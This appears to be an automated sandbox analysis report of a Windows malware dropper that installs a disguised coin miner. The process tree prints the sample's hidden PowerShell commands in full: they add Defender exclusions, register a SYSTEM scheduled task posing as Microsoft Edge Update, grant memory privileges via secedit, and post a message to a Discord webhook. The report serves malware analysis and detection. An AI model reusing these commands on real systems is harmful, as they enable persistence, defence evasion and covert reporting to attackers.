Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 17:17

General

  • Target
    2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
  • Size 18.2MB
  • Sample260720-vt64ksa15s
  • SHA256 f5fd1b74fe75f05b9b05fea5be3940789cd81a4ac209b61ebf3e941e50f40328
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables Discord URL observed in first stage droppers 3 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 3 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 6 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-20_95e5612310f858ceba0d3ab20faad4c6_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4224
    • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
      "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Users\Admin\AppData\Local\Temp\goon_setup_x64.exe
        "C:\Users\Admin\AppData\Local\Temp\goon_setup_x64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2072
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5620
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
          4⤵
            PID:4624
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3060
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
            4⤵
              PID:5964
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
              4⤵
              • Executes dropped EXE
              PID:2976
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4416
              • C:\Windows\system32\SecEdit.exe
                "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                5⤵
                  PID:4716
                • C:\Windows\system32\SecEdit.exe
                  "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                  5⤵
                    PID:5468
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Invoke-RestMethod -Uri 'https://discord.com/api/webhooks/1523143586483273789/-Wpny8DkL8jybQu31X_wyW1bMZR1TeJK9mDDNkM5R9R-tYO-U52vVryHmDNiw6uVjfWh' -Method Post -Body ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('eyJjb250ZW50IjogIvCfmoAgKipHb29uSFVCLmV4ZSoqIHZpZW50IGQgZXRyZSBsYW5jZSBwYXIgbCB1dGlsaXNhdGV1ciAqKkFkbWluKiogKFBDOiBZUldLSkxEVSkifQ=='))) -ContentType 'application/json'"
                3⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1496
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:248
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5476
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
              2⤵
                PID:1288
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3420
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
                2⤵
                  PID:5384
                • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                  "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: GetForegroundWindowSpam
                  PID:1852
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:1696
                  • C:\Windows\system32\SecEdit.exe
                    "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
                    3⤵
                      PID:2768
                    • C:\Windows\system32\SecEdit.exe
                      "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
                      3⤵
                        PID:5040
                  • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                    "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
                    1⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4516
                    • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                      "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
                      2⤵
                      • Executes dropped EXE
                      PID:572

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        MicrosoftEdgeUpdate.exe.old

                        • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe.old
                        • Size 18.2MB
                        • SHA256 f5fd1b74fe75f05b9b05fea5be3940789cd81a4ac209b61ebf3e941e50f40328
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        ModuleAnalysisCache

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                        • Size 67KB
                        • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d9bcc0a509b8b4591a17a27771f07e09cbb9fb23522165ebae951ef1a1e32398
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 cca75ff31f342021dd3e54512231a8bbce017cede827fa51c5902ea226158b23
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 fd4d17c101e7e429837a8b8134b3a77f6b85ae9821a237de6962204bc2bf2b8f
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 dda078fa9d8e784aec0a0276641b321833b3b7f12934fcecf6456adcbfa2aa9c
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 6e195845504aa823d393fce591d97eac44961a87f3863d3d0d4bcdcf43dcef37
                        • MD5 SHA1 SHA512 TLSH

                        GoonHUB.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
                        • Size 17.6MB
                        • SHA256 0346fc0acb0859943b6814e97201b67d8a547623a9e278d5e9b422d950d22310
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_nmhl1gk3.rzj.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmhl1gk3.rzj.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        goon_setup_x64.exe

                        • Path C:\Users\Admin\AppData\Local\Temp\goon_setup_x64.exe
                        • Size 9.4MB
                        • SHA256 fa20b1efed895bab3004e7fd7b821f282028426f4a75765309c7280c499bd24c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce95697.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce95697.tmp
                        • Size 8KB
                        • SHA256 84dd6e3228dc160de8c337b3c93dafed8a90ff36f2596ebcffe910eb9e285d1a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce95697.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce95697.tmp
                        • Size 8KB
                        • SHA256 da06eb4b1cc32eb2dbc7d625f43c35afe3aeb70071d590d9b0c4a03e9f6bf053
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        sce97103.tmp

                        • Path C:\Users\Admin\AppData\Local\Temp\sce97103.tmp
                        • Size 16KB
                        • SHA256 aa46df7fef63b27ef2b44d160f40de53f7012ac920e1d5d7405b44ab17acdc11
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        secpol.cfg

                        • Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
                        • Size 8KB
                        • SHA256 0df9f6ae0a928593ddc6731cb29ce4d005d33ba7c36df8feb5bf7d933c606e44
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/248-23-0x0000022245310000-0x000002224531A000-memory.dmp

                        memory/248-22-0x0000022245590000-0x0000022245642000-memory.dmp

                        memory/248-21-0x00000222452F0000-0x000002224530E000-memory.dmp

                        memory/1496-14-0x000001AC74B80000-0x000001AC74BA2000-memory.dmp

                        memory/3420-46-0x0000022A34700000-0x0000022A3471E000-memory.dmp